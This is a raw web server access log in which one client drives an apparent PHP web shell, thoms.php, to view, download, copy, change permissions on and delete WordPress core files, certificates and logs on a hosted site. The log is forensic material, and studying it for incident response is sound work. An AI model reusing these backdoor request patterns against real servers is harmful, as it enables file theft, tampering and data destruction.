45.135.193.11 - - [11/Sep/2026:23:29:11 -0400] "GET /thoms.php?chmod=feed-rss2.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:12 -0400] "GET /thoms.php?chmod=IXR&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:12 -0400] "GET /thoms.php?dl=ms-load.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=ms-load.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:12 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-default-filters.php HTTP/1.1" 200 13950 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:12 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=post-template.php HTTP/1.1" 200 33171 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=bookmark-template.php HTTP/1.1" 200 15887 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:12 -0400] "GET /thoms.php?dl=revision.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:12 -0400] "GET /thoms.php?del=rss-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=rss-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:12 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:13 -0400] "GET /thoms.php?chmod=comment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:13 -0400] "GET /thoms.php?del=class-wp-icons-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-icons-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:13 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=registration-functions.php HTTP/1.1" 200 12059 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:13 -0400] "GET /thoms.php?del=date.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=date.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:13 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:13 -0400] "GET /thoms.php?del=ms-blogs.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:13 -0400] "GET /thoms.php?dl=registration.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:14 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-list-util.php HTTP/1.1" 200 14428 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:14 -0400] "GET /bossini.com.tw/wp-includes/class-wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:14 -0400] "GET /thoms.php?chmod=comment-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:14 -0400] "GET /thoms.php?chmod=locale.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:14 -0400] "GET /thoms.php?dl=class-wp-object-cache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:14 -0400] "GET /thoms.php?chmod=robots-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:14 -0400] "GET /thoms.php?del=error_log&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59069 "http://163.245.207.76:443/thoms.php?del=error_log&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:14 -0400] "GET /thoms.php?chmod=class-requests.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-requests.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:14 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-parser.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:14 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11840 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:14 -0400] "GET /thoms.php?del=class-walker-comment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:15 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-blogs.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-blogs.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:15 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:15 -0400] "GET /thoms.php?del=formatting.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:15 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fregistration-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11840 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fregistration-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:15 -0400] "GET /bossini.com.tw/wp-includes/php-compat/ HTTP/1.1" 200 793 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:15 -0400] "GET /bossini.com.tw/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:15 -0400] "GET /thoms.php?del=certificates&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59183 "http://163.245.207.76:443/thoms.php?del=certificates&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:15 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11553 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:15 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php HTTP/1.1" 200 12737 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=compat-utf8.php HTTP/1.1" 200 18264 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=compat-utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /bossini.com.tw/wp-includes/default-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /thoms.php?chmod=compat-utf8.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=compat-utf8.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fdate.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fdate.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-default-constants.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-default-constants.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /bossini.com.tw/wp-includes/template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /bossini.com.tw/wp-includes/theme-previews.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frewrite.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frewrite.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /thoms.php?chmod=block-patterns&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcanonical.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcanonical.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:16 -0400] "GET /thoms.php?del=version.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59161 "http://163.245.207.76:443/thoms.php?del=version.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 200 13450 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 200 14124 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /bossini.com.tw/wp-includes/session.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /thoms.php?chmod=connectors.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=connectors.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcapabilities.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcapabilities.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-session-tokens.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /thoms.php?del=html-api&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=html-api&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ferror_log&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ferror_log&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:17 -0400] "GET /thoms.php?del=meta.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59105 "http://163.245.207.76:443/thoms.php?del=meta.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:18 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2FPHPMailer HTTP/1.1" 200 13953 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:18 -0400] "GET /thoms.php?del=shortcodes.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59160 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:18 -0400] "GET /thoms.php?del=user.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=user.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:18 -0400] "GET /bossini.com.tw/wp-includes/Requests/ HTTP/1.1" 200 800 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fauthor-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fauthor-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frss.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frss.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
